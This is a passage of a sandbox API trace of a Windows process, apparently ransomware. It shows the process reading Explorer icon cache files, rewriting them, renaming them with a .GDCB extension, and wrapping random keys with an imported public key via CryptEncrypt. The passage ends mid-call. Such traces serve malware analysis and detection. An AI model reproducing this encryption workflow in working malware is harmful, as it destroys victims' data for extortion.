[0204.650] GetLastError () returned 0x0 [0204.650] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.650] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.651] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.653] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.653] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0204.661] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.664] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0204.665] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.666] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.666] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0204.666] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.667] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.670] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0204.670] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0204.670] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0204.670] CloseHandle (hObject=0x510) returned 1 [0204.671] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.672] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.673] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.674] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_256.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_256.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_256.db.gdcb")) returned 1 [0204.681] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.684] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.685] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.686] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.686] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.686] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.686] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0204.688] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0050) returned 1 [0204.688] CryptGetKeyParam (in: hKey=0x50d0050, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.688] CryptEncrypt (in: hKey=0x50d0050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.688] GetLastError () returned 0x0 [0204.688] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.688] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0204.690] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0090) returned 1 [0204.690] CryptGetKeyParam (in: hKey=0x50d0090, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.690] CryptEncrypt (in: hKey=0x50d0090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.691] GetLastError () returned 0x0 [0204.691] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.691] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.692] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.694] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.695] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0204.730] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.784] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_32.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_32.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_32.db.gdcb")) returned 1 [0204.800] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.803] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.803] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.803] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0204.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.805] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.805] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.805] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.805] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.807] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0690) returned 1 [0204.807] CryptGetKeyParam (in: hKey=0x50d0690, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.807] CryptEncrypt (in: hKey=0x50d0690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.807] GetLastError () returned 0x0 [0204.807] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.807] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.809] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d00d0) returned 1 [0204.809] CryptGetKeyParam (in: hKey=0x50d00d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.809] CryptEncrypt (in: hKey=0x50d00d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.809] GetLastError () returned 0x0 [0204.809] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.809] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.811] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.812] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.813] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0204.827] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.860] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_48.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_48.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_48.db.gdcb")) returned 1 [0204.864] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.867] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.867] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.867] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.867] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.869] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.869] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.869] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0204.872] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d06d0) returned 1 [0204.872] CryptGetKeyParam (in: hKey=0x50d06d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.872] CryptEncrypt (in: hKey=0x50d06d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.872] GetLastError () returned 0x0 [0204.872] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.872] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.874] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d04d0) returned 1 [0204.874] CryptGetKeyParam (in: hKey=0x50d04d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.874] CryptEncrypt (in: hKey=0x50d04d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.874] GetLastError () returned 0x0 [0204.874] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.875] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.878] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x230, lpOverlapped=0x0) returned 1 [0204.884] VirtualAlloc (lpAddress=0x0, dwSize=0x230, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.911] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db.gdcb")) returned 1 [0204.916] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.919] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.919] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.921] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.921] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.921] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.923] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0110) returned 1 [0204.924] CryptGetKeyParam (in: hKey=0x50d0110, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.924] CryptEncrypt (in: hKey=0x50d0110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.924] GetLastError () returned 0x0 [0204.924] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.924] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0204.926] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0710) returned 1 [0204.926] CryptGetKeyParam (in: hKey=0x50d0710, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.926] CryptEncrypt (in: hKey=0x50d0710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.926] GetLastError () returned 0x0 [0204.926] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.926] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.928] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.930] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.931] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x1cf8, lpOverlapped=0x0) returned 1 [0204.939] VirtualAlloc (lpAddress=0x0, dwSize=0x1d00, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.944] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_idx.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_idx.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_idx.db.gdcb")) returned 1 [0204.949] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.950] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.951] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.951] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.951] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.951] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.953] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.953] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.953] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.955] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0310) returned 1 [0204.955] CryptGetKeyParam (in: hKey=0x50d0310, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.955] CryptEncrypt (in: hKey=0x50d0310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.956] GetLastError () returned 0x0 [0204.956] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.956] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0204.957] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: 